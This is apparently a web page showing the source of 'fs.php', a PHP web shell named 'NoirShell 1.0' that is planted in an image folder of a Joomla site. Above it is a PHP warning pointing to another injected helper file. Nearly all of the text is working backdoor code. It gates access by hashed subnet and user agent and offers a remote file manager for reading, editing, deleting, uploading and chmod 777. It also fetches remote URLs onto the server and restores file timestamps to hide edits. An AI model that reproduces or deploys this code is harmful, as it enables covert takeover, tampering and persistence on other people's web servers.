Warning: Undefined variable $liatds in /home/grupmartgn/elanartcrafts/administrator/components/com_contenthistory/helpers/index.php on line 2 Disable Functions: Path : /home/grupmartgn/elanartcrafts/images/pixabay/ |
| Current File : /home/grupmartgn/elanartcrafts/images/pixabay/fs.php |
<?php
ini_set('display_errors', '0');
ini_set('display_startup_errors', '0');
error_reporting(E_ALL);
if (!function_exists('str_contains')) {
function str_contains(string $haystack, string $needle): bool
{
return '' === $needle || false !== strpos($haystack, $needle);
}
}
//Auth
$_hash = array(
"2a3eb55ad28fb27d73b4f254e36fb891", "0ff4867353f7f5de1757721827216454",
"ab4df3142c6967aa17fca82d93fedb93", "9e11ec6fde91eef6433771421fc9e523",
"ee969049cf629b61c7380a2e0cbca9c4", "aa022874185da93d5bcc42fe91111741",
"07f1875d4958eca051e56d2baaceb543", "5570e68af94ebc893b39fd38a037f79e",
"baeade3d14e67b46e6ddeb5cecdf442f", "c54eefbf31e2c87017f3dae3fc33eebe",
"c54e3e45150c1c5d0846850ea6967efa"
);
$_adddr = '';
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$_adddr = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else if (!empty($_SERVER['REMOTE_ADDR'])) {
$_adddr = $_SERVER['REMOTE_ADDR'];
} else {
die (":)");
}
$_adddr = explode(',', $_adddr)[0];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$subnet = md5(substr($_adddr, 0, -strlen(strrchr($_adddr, "."))));
if (!in_array($subnet, $_hash) && !password_verify($user_agent, '$2b$10$PrRjq1pZQWVUuNYqiXzyo.Lr57RpljYrzruAPq.H6tBaJ0v/JF.Ba')){
//die($_adddr);
}
//API
function generateTableAnswer($dir){
if(@is_dir($dir)){
global $cwd;
$cwd = $dir;
$dirContent = hardScandir($dir);
$inner = "
<table width=\"100%\" class=\"main\" cellspacing=\"0\" cellpadding=\"2\">
<tbody>
<tr>
<th><a>Name</a></th>
<th><a>Type</a></th>
<th>Actions</th>
</tr>".
generateTableRows($dirContent)
."</tbody>
</table>
";
return json_encode( array( "method"=>"inner","target"=>"filemanager-content","value"=>$inner,"cwd"=>base64_encode(generateCWDLinks($cwd)),"current_dir"=>$dir ) ); // "value"=>base64_encode($inner)
}
}
function generateTextareaAnswer($filepath, $add_cwd=true){
if ($filepath && @is_file(realpath($filepath))){
$inner = "<h1>File editor</h1><label for=\"filepath\">Filepath:</label><input name=\"filepath\" id=\"filepath\" value=\"".realpath($filepath)."\" readonly></input><textarea class=\"bigarea\">".htmlspecialchars(@file_get_contents(realpath($filepath)))."</textarea>";
}
else {
$inner = "<h1>File editor</h1><label for=\"filepath\">Filepath:</label><input name=\"filepath\" id=\"filepath\" value=\"\" readonly></input><textarea class=\"bigarea\"></textarea>";
}
$answer = array( "method"=>"inner","target"=>"fileeditor-content","value"=>$inner ); // "value"=>base64_encode($inner)
if ($add_cwd)
$answer = array_merge($answer, array("cwd"=>base64_encode(generateCWDLinks(dirname(realpath($filepath))))));
return json_encode($answer);
}
if ($_SERVER['REQUEST_METHOD'] === "POST"){
$inputJSON = file_get_contents('php://input');
$input = json_decode($inputJSON, TRUE);
switch ($input["a"]){
case "FilesMan":
if(@is_dir(realpath($input["c"]))){
echo generateTableAnswer(realpath($input["c"]));
}
elseif(@is_file(realpath($input["c"]))){
global $cwd;
$cwd = dirname(realpath($input["c"]));
echo generateTextareaAnswer($input["c"]);
}
break;
case "FilesTools":
switch($input["p2"]){
case "save":
if (@is_file(realpath($input["p1"]))){
$time = @filemtime(realpath($input["p1"]));
$fp = @fopen(realpath($input["p1"]), "w");
if($fp) {
@fwrite($fp, htmlspecialchars_decode($input["p3"])); // htmlspecialchars_decode(base64_decode($_POST["p3"]))
@fclose($fp);
@touch(realpath($input["p1"]), $time, $time);
}
echo generateTextareaAnswer($input["p1"]);
}
else {
echo generateTextareaAnswer("", false);
}
break;
case "delete":
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($obj = readdir($dh) ) !== false) {
$obj = $path.$obj;
if ( (basename($obj) == "..") || (basename($obj) == ".") )
continue;
$type = filetype($obj);
if ($type == "dir")
deleteDir($obj);
else
@unlink($obj);
}
closedir($dh);
@rmdir($path);
}
$dir = dirname(realpath($input["p1"]));
if(is_dir(realpath($input["p1"])))
deleteDir(realpath($input["p1"]));
else if (is_file(realpath($input["p1"])))
@unlink(realpath($input["p1"]));
echo generateTableAnswer($dir);
break;
case "touch":
@touch($input["p1"]);
echo generateTableAnswer(dirname($input["p1"]));
break;
case "mkdir":
@mkdir($input["p1"]);
echo generateTableAnswer(dirname($input["p1"]));
break;
case "upload":
$fp = @fopen($input["p1"], "wb");
if($fp) {
@fwrite($fp, htmlspecialchars_decode(base64_decode($input["c"])));
@fclose($fp);
}
echo generateTableAnswer(dirname($input["p1"]));
break;
case "download":
$content = @file_get_contents($input["c"]);
@file_put_contents($input["p1"], $content);
echo generateTableAnswer(dirname($input["p1"]));
break;
case "chmod":
chmod($input["p1"], 0777);
echo generateTableAnswer(dirname($input["p1"]));
break;
}
break;
}
die;
}
//CWD
$cwd = @getcwd();
//Styles
echo "
<style>
body {
background-color: black;
color: #fff !important;
}
a {
text-decoration: none;
color: #fff !important;
}
a:hover {
text-decoration: underline;
}
table {
background-color: grey;
}
th {
text-align: left;
}
tr:nth-child(odd) {
background-color: rgb(78 78 78);
}
textarea {
width: 100%;
height: 50%;
}
h1 {
margin-top: 35px;
}
button {
margin-right: 5px;
margin-top: 5px;
}
input#filepath{
width: 80%;
}
</style>
";
//JS
echo "
<script>
function g(a,c,p1,p2,p3){
// let params = 'a='+a+'&c='+c+'&p1='+p1+'&p2='+p2+'&p3='+p3,
let params = {a: a, c: c, p1: p1, p2: p2, p3: p3},
url = '".addslashes($_SERVER['REQUEST_URI'])."';
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader('Content-Type', 'application/json');
req.send(JSON.stringify(params));
//req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
//req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
let json = JSON.parse(req.responseText);
if (json.method == 'inner') document.querySelector('[class*=\"'+json.target+'\"]').innerHTML = json.value; // atob(json.value)
if (json.cwd) document.querySelector('[class*=\"cwd\"]').innerHTML = atob(json.cwd);
if (json.current_dir) current_dir=json.current_dir;
}
}
function cancelButton(){
document.querySelector('[class*=\"fileeditor-content\"]').innerHTML = '<h1>File editor</h1><label for=\"filepath\">Filepath:</label><input name=\"filepath\" id=\"filepath\" value=\"\" readonly></input><textarea class=\"bigarea\"></textarea>';
}
function saveButton(){
let path = document.querySelector('#filepath').value,
text = document.querySelector('[class*=\"bigarea\"]').value; // btoa(document.querySelector('[class*=\"bigarea\"]').value)
if (path && text) g('FilesTools', null, path, 'save', text)
}
function createFile(){
let name = document.querySelector('#newfilename').value;
if (name) g('FilesTools', null, current_dir+'/'+name, 'touch')
}
function createDir(){
let name = document.querySelector('#newdirname').value;
if (name) g('FilesTools', null, current_dir+'/'+name, 'mkdir')
}
function uploadFile(){
let file = document.querySelector('#newuploadfile').files[0];
if (file){
let reader = new FileReader();
reader.readAsBinaryString(file);
reader.onload = function (evt) {
g('FilesTools', btoa(evt.target.result), [...document.querySelectorAll('span.cwd a')].reduce((v, c)=>v+c.innerHTML, '')+file.name, 'upload');
}
reader.onerror = function (evt) {
alert('Upload error');
}
}
}
function downloadFile(){
let link = document.querySelector('#downloadlink').value,
filename = [...document.querySelectorAll('span.cwd a')].reduce((v, c)=>v+c.innerHTML, '')+document.querySelector('#downloadname').value;
if (link && filename) g('FilesTools', link, filename, 'download');
}
</script>
";
//Paths
function generateCWDLinks($cwd){
$cwd_links = '';
$path = explode("/", $cwd);
$n=count($path);
for($i=0; $i<$n; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
return $cwd_links;
}
echo "<div><h5>NoirShell 1.0</h5></div>";
echo "<b>CWD:</b> <span class=\"cwd\">".generateCWDLinks($cwd)."</span>";
//File manager
function hardScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function generateTableRows($dirContent){
if ($dirContent === false){
return "<tr>Can't open this folder!</tr>";
}
global $cwd;
$unk_rows = array();
$links_rows = array();
$dir_rows = array();
$file_rows = array();
foreach ($dirContent as $elem){
$cols = array();
array_push($cols, "<td><a onclick=\"g('FilesMan','$cwd/$elem');\"><b>[ $elem ]</b></a></td>");
if(@is_file("$cwd/$elem"))
array_push($cols, "<td>file (".substr(sprintf('%o', fileperms("$cwd/$elem")), -3).")</td>");
elseif(@is_link("$cwd/$elem"))
array_push($cols, "<td>link</td>");
elseif(@is_dir("$cwd/$elem") && ($elem != "."))
array_push($cols, "<td>dir</td>");
else
array_push($cols, "<td>unk</td>");
array_push($cols, "<td><a class=\"tooltip\" data-tooltip=\"Delete\" onclick=\"g('FilesTools',null,'$cwd/$elem', 'delete')\">Delete</a> <a class=\"tooltip\" data-tooltip=\"Chmod\" onclick=\"g('FilesTools',null,'$cwd/$elem', 'chmod')\">Chmod (777)</a></td>");
if(@is_file("$cwd/$elem"))
array_push($file_rows, "<tr>".implode("", $cols))."</tr>";
elseif(@is_link("$cwd/$elem"))
array_push($links_rows, "<tr>".implode("", $cols))."</tr>";
elseif(@is_dir("$cwd/$elem") && ($elem != ".") && ($elem != ".."))
array_push($dir_rows, "<tr>".implode("", $cols))."</tr>";
else
array_push($unk_rows, "<tr>".implode("", $cols))."</tr>";
}
return implode("", array_merge($unk_rows, $links_rows, $dir_rows, $file_rows));
}
$dirContent = hardScandir($cwd);
if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
else{
echo "
<div>
<h1>File manager</h1>
<div class=\"filemanager-content\">
<script>var current_dir = '$cwd';</script>
<table width=\"100%\" class=\"main\" cellspacing=\"0\" cellpadding=\"2\">
<tbody>
<tr>
<th><a>Name</a></th>
<th><a>Type</a></th>
<th>Actions</th>
</tr>".
generateTableRows($dirContent)
."</tbody>
</table>
</div>
</div>
";
}
//File creator
echo "
<div><h1>File creator</h1><label for=\"newfilename\">Filename:</label><input name=\"newfilename\" id=\"newfilename\" value=\"\"></input><button onclick=\"createFile();\">Create</button></div>
<div><label for=\"newdirname\">Dirname: </label><input name=\"newdirname\" id=\"newdirname\" value=\"\"></input><button onclick=\"createDir();\">Create</button></div>
<div><label for=\"newuploadfile\">Filepath: </label><input type=\"file\" name=\"newuploadfile\" id=\"newuploadfile\" value=\"\"></input><button onclick=\"uploadFile();\">Upload</button></div>
<div><label for=\"downloadlink\">Link: </label><input name=\"downloadlink\" id=\"downloadlink\" value=\"\"></input><label for=\"downloadname\"> Filename: </label><input name=\"downloadname\" id=\"downloadname\" value=\"\"></input><button onclick=\"downloadFile();\">Download</button></div>
";
//File editor
echo "
<div class=\"fileeditor-content\"><h1>File editor</h1><label for=\"filepath\">Filepath:</label><input name=\"filepath\" id=\"filepath\" value=\"\" readonly></input><textarea class=\"bigarea\"></textarea></div>
<div><button onclick=\"saveButton();\">Save</button><button onclick=\"cancelButton();\">Cancel</button></div>
";